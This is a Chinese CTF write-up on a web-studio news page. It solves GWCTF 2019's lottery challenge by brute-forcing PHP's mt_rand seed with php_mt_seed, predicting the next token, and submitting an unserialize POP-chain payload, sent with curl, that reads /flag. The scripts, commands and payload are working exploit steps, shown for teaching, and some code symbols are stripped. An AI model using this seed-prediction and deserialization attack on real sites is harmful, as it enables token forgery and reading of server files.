十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

PHP反序列化与mt_rand种子爆破:从CTF抽奖题看伪随机数漏洞

PHP反序列化与mt_rand种子爆破:从CTF抽奖题看伪随机数漏洞 前阵子复盘 GWCTF 2019 的 Web 题有一道叫“枯燥的抽奖”的题目让我印象很深。名字听起来像个休闲小游戏实际考的是 PHP 反序列化加 mt_rand 种子爆破两步都是 Web 安全里很经典但不少人容易卡住的点。对新手来说这道题是很好的练习素材从信息收集、源码审计、随机数预测到 POP 链构造基本一条龙走完能把“伪随机数不随机”这个印象刻进脑子里。我当时第一次做这道题卡在最关键的一步上明明已经拿到了源码也看到了抽奖逻辑里用了 mt_rand()但不知道为什么一串 16 位的随机字符串就能反推出种子。后来把整套流程跑通再回头看发现这类题其实有很固定的套路。这篇文章就按我当时的做题顺序把完整思路、工具用法和踩过的坑一起写出来给同样在做这套题或者想系统了解 mt_rand 种子爆破的朋友参考。1. 初见题目一个看起来平平无奇的抽奖页面1.1 打开题目看到的东西访问题目环境页面上只有两个元素一个抽奖按钮一个用来展示结果的区域。点击按钮服务端会返回一串字符长度应该是 16 位由大小写字母和数字组成长得像这种8QkR3nW7dH2xYcLv再点几次每次结果都不一样。这个时候第一反应是“这有什么好考的”但做 CTF 题最忌讳的就是只看表面功能。抽奖这个动作本质上是在调用服务端某个生成随机数的逻辑而这个逻辑一旦写得不安全就能被反向推导出规律。这道题的名字叫“枯燥的抽奖”点题点得很准抽奖过程很枯燥但背后的随机数预测一点也不枯燥。它适合正在学 Web 安全的选手尤其是对 PHP 伪随机数漏洞、反序列化 POP 链还不够熟悉的同学。能搞清楚这一题后面遇到类似“验证码可预测”“token 可预测”的题思路会顺畅很多。1.2 突破口源码泄露我没有在页面上纠结太久做 Web 题的第一步永远是信息收集。先看页面源码按 F12 打开开发者工具扫了一圈 HTML没发现明显的注入点但在注释或者 JS 文件里可能会藏线索。这道题比较常规直接在浏览器访问常见备份文件路径就能拿到源码/www.zip如果这个路径不行还可以继续试 index.php.bak、flag.php、robots.txt、.git/HEAD 这些东西。做 CTF 的 Web 题源码泄露几乎是送分点的代名词尤其是比赛题目里出现 www.zip 的概率非常高。下载下来解压里面是完整的 PHP 源码包括前端页面、后端逻辑也许还有数据库备份之类的文件。到这里解题才真正开始。我个人的习惯是先把所有文件列一遍按文件名和大小做初步判断然后直接打开核心入口文件 index.php 去读逻辑。很多新手拿到源码就懵觉得文件多、不知道从哪看。其实这种题目的源码量很小优先关注三个地方用户输入从哪进来、关键函数做了什么、类里的魔术方法有没有可以利用的点。2. 源码审计两个考点的连接点2.1 抽奖逻辑里的猫腻解压源码后index.php 或者某个 api.php 里通常会有类似下面这样的抽奖逻辑?php class lottery { public $seed; public function __construct() { mt_srand($this-seed); } public function getResult() { $chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789; $str ; for ($i 0; $i 16; $i) { $str . $chars[mt_rand(0, strlen($chars) - 1)]; } return $str; } }一眼看过去它只是用 mt_rand() 从 62 个字符里选了 16 次拼成一个字符串。问题就出在这个 mt_rand() 上。如果网站的抽奖码生成器依赖的是 PHP 内置的 mt_rand()而且种子可控或者能通过输出反推那么整个抽奖结果就是可以预测的。目标环境把 mt_srand($this-seed) 放在了构造函数里构造函数调用时就已经确定种子。如果这个 seed 是随机生成的我们看不到但如果页面还有别的入口能让我们控制 seed或者我们能够通过 mt_rand() 的输出反推出 seed那后续的抽奖结果就全在掌握之中了。这道题走的是“通过输出反推种子”的路线也就是经典的 mt_rand 种子爆破。2.2 为什么十几个字符就能反推出随机数种子这里需要稍微展开讲一下原理否则工具跑出来你也不知道为什么。PHP 的 mt_rand() 底层是梅森旋转算法 MT19937它属于伪随机数发生器。伪随机数的意思是并不是真正的随机只是看起来随机。MT19937 内部维护了一个 624 个 32 位整数组成的状态数组根据当前状态计算输出。关键是这个状态是由一个 32 位的种子初始化出来的所以整个随机数序列完全由种子决定。换句话说同一个种子不管在谁的环境里只要 PHP 版本一致、调用方式一致产生的随机数序列就是一模一样的。这就像两台复读机按下同一个初始按钮后面播放的内容完全一样。seed 只有 32 位也就是说最多只有 2 的 32 次方种可能大约 42 亿。42 亿这个数字听上去很大但对于计算机来说配合已知输出值做过滤暴力搜索并不是不可能。php_mt_seed 这个工具就是专门干这个的你给它一组 mt_rand() 的输出值它就能在合理时间内把种子候选范围缩到极小甚至直接给出唯一结果。你可能会问为什么不是直接给那串 16 位字符而是给一组数字因为 mt_rand() 返回的是整数页面里的字符只是把 0 到 61 这些索引映射成了字符。只要字符集顺序确定反向查表就能把每个字符还原成对应的随机数索引这一步很关键不能跳过。我在实际做题时习惯先写一个 Python 小脚本把字符映射成数字result_str 8QkR3nW7dH2xYcLv chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 idx_list [chars.index(c) for c in result_str] print(idx_list) # [34, 16, 36, 43, 53, 22, 58, 55, 29, 55, 49, 23, 23, 36, 11, 21]这一串数字就是 mt_rand(0, 61) 的 16 次输出值。把它们喂给爆破工具种子就从这里面“拷问”出来。2.3 反序列化入口定位随机数预测只是前半场最终要拿到 flag一般还有一个反序列化入口等着你。源码里通常会有类似这样的类?php class getFlag { public $file /flag; public function __destruct() { echo file_get_contents($this-file); } }__destruct() 方法在对象被销毁时自动调用这个特性在 PHP 反序列化里特别常见。题目一般会把某个 POST 参数直接用 unserialize() 处理但要触发这个反序列化点往往需要先通过抽奖接口的校验。比如接口逻辑可能是$value $_POST[value]; $data $_POST[data]; if ($value (new lottery())-getResult()) { unserialize($data); }也就是说你得先提交一个等于“下一次抽奖结果”的字符串服务端才会把你的 data 参数反序列化。这个时候前面预测随机数的能力就派上用场了你算出了下一次 getResult() 会返回什么提交上去校验通过再把构造好的序列化 payload 塞进 data触发 getFlag 类里的 file_get_contents 读取 flag 文件。3. 实操攻坚从随机数反推种子到最终夺旗3.1 第 1 步把抽奖字符串变成爆破种子的钥匙页面点击抽奖后拿到一串 16 位字符。注意构造 payload 做反序列化之前我们先要把这串字符转成 mt_rand() 输出索引。字符集和索引对应关系如下范围字符索引范围小写字母a-z0-25大写字母A-Z26-51数字0-952-61如果你的页面实际返回的字符集顺序不是“小写先、大写中间、数字最后”一定要以源码里 $chars 的字符串顺序为准否则反向映射的索引就错了。这是很多人第一个卡点。仍然用 Python 做转换result_str 8QkR3nW7dH2xYcLv chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 idx_list [chars.index(c) for c in result_str] cmd .join(f{v} {v} 0 61 for v in idx_list) print(cmd)输出结果就是可以直接丢给 php_mt_seed 的参数。比如34 34 0 61 16 16 0 61 36 36 0 61 43 43 0 61 ...这里每组“v v 0 61”的含义是第 i 次 mt_rand(0, 61) 的输出值是 v范围在 0 到 61 之间。多次重复是为了辅助工具确定种子给的数据越多筛选速度越快、结果越唯一。3.2 第 2 步用 php_mt_seed 爆破种子php_mt_seed 是一个开源工具专门用来恢复 PHP mt_rand() 的种子。先编译git clone https://github.com/openwall/php_mt_seed.git cd php_mt_seed make编译完成后把上一步生成的参数粘到命令后面./php_mt_seed 34 34 0 61 16 16 0 61 36 36 0 61 43 43 0 61 ...工具会输出类似下面的结果Found seed 123456789如果提供的随机数样本不足可能输出多个候选种子。这时候追加更多组的输出值把 16 个索引全用上基本能把候选范围收敛到一个。当时我第一次跑只拿了 4 个字符去试结果跑出来一大堆候选种子根本不知道哪个是真正的。后来把 16 个索引全部丢进去几秒钟就出了唯一结果。这个经验很重要样本量越大筛得越干净别吝啬那几秒钟的输入成本。爆破成功后在本地 PHP 环境验证一下?php mt_srand(123456789); $chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789; $result ; for ($i 0; $i 16; $i) { $result . $chars[mt_rand(0, 61)]; } echo $result, \n; ?输出的 16 位字符串如果和页面上看到的最新一次抽奖结果完全一致说明种子找对了。3.3 第 3 步预测下一次抽奖并提交反序列化 payload种子确认后下一步是继续往后取随机数得到“下一次”抽奖的 16 位字符串。这里有一个需要注意的细节目标在生成抽奖码之前有没有调用过 mt_rand()如果调用了本地脚本也要模拟相同次数的前置调用否则序列会错位。实战中最稳的做法是先把本地脚本预测出来的结果和页面下一次点击返回的真实结果对比一次。比如你根据当前已知的第 1 组字符预测了第 2 组页面上点一下如果返回的就是你预测的值说明调用逻辑完全对上了。如果对不上多半是有前置调用或者 PHP 版本不一致需要根据源码微调。确认能稳定预测之后构造反序列化 payload。源码里如果有 getFlag 类直接在本地生成序列化字符串?php class getFlag { public $file /flag; } $obj new getFlag(); echo urlencode(serialize($obj)); // O%3A7%3A%22getFlag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D然后向接口发起请求POST 两个字段预测出的下一次抽奖结果以及序列化后的 data。如果字段名不一样以题目的源码为准。我用 curl 的时候看起来是这样curl -X POST http://target/ -d value预测出的抽奖结果dataO:7:\getFlag\:1:{s:4:\file\;s:5:\/flag\;}服务端验证 value 通过后执行 unserialize($data)页面结束或对象被销毁时触发 __destruct()文件内容就被 echo 出来了。如果你拿到的 flag 路径不是 /flag根据提示改成 /flag.txt 之类的路径即可。有些题目还会在 getFlag 类里默认把 $file 设为 /flag你只需要保持默认就能读到。4. 踩坑记录与常见问题排查4.1 爆破种子失败或者结果不唯一最大的可能原因是字符到索引的映射表搞错了。先检查源码里的 $chars 字符串到底是什么顺序有的题目可能是不区分大小写或者混入了特殊符号。正常“字母数字混合”的场景下必须严格按源码顺序反查不能想当然用 ASCII 码的顺序。另外如果爆破出来多个候选种子就用完整的 16 个索引重新跑一遍增加约束条件。只要样本覆盖了足够多输出候选种子会迅速收敛到唯一。我这里遇到过一种情况因为只提供了前 6 位输出导致工具跑了几十万个候选看着像卡死其实是在暴力遍历所有可能后面把输出补全问题立刻解决。4.2 预测结果和目标返回总是差几位如果本地预测的字符串和目标页面每次都对不上但你已经确认种子正确优先怀疑“调用次数不一致”。比如题目在构造函数里先调用了 mt_rand() 做别的用途再调用 getResult()又比如源码里的 getResult() 每次循环前额外调了一次 mt_rand()。这个时候要把源码里所有 mt_rand() 调用点都找出来按调用顺序在本地脚本里模拟一遍。我在实际做题时遇到过一种偏移情况目标环境的 PHP 版本是 7.x我本地默认也是 7.x但 php_mt_seed 爆破种子用的随机数输出与本地 PHP 运行的输出不在同一个“状态位”上。后来检查发现源码在抽奖前还调用了一次 mt_rand(1, 100) 用来生成一个随机用户名把那一次调用补进本地脚本后就完全吻合了。所以不要只看抽奖函数本身要全局搜索 mt_rand。4.3 反序列化链不生效的检查点反序列化 payload 提交后没有反应常见的排查顺序是第一看看接口的字段名和反序列化入口是否找对。有的题目是在 Cookie 里传序列化数据有的题目通过 POST 的 data 字段。仔细读源码别被变量命名带偏。第二检查类名和命名空间。如果目标类在命名空间里payload 也要带完整的命名空间路径。第三确认魔术方法。__destruct 在 PHP 对象生命周期结束时自动触发但如果服务端在反序列化之后很快就 exit() 了PHP 也会正常清理对象并触发 __destruct所以一般没问题。如果是 __wakeup 或者 __toString还要看调用条件是够满足。第四PHP 版本差异。老版本 PHP 对 __wakeup 的执行逻辑存在绕过漏洞但新版本已经修复如果你是按老版本的思路打当前环境就会失效。最稳妥的方式是严格按照目标版本的序列化格式来构造。4.4 这类题的通杀思路整理把这道“枯燥的抽奖”的解法抽象出来就是一套可以复用的审计流程步骤动作关键点1信息收集找到源码泄露路径优先 www.zip、index.php.bak2源码审计找出所有 mt_rand() 调用位置和反序列化接口3样本采集获取抽奖接口返回的随机字符串4索引还原把字符串按字符集映射回随机数输出值5种子爆破用 php_mt_seed 恢复种子6序列预测在本地模拟目标调用顺序预测下一次输出7payload 构造生成反序列化 POP 链提交触发以后再遇到类似“抽奖”“验证码”“token 生成”的题先不要慌优先确认服务端到底用的是不是 mt_rand()如果是这套流程就能直接平移过去。最后再分享一个小技巧拿到源码后先把所有涉及随机数的地方打上标记然后用“找入口、找链尾、连成串”的思路去读比眉毛胡子一把抓高效得多。我个人的体会是这类题目看起来很绕实际上考察的就是两个基础能力对伪随机数原理的理解以及对 PHP 反序列化魔术方法触发条件的敏感度。这两个能力练扎实了做题速度和成功率都会有质的提升。
返回列表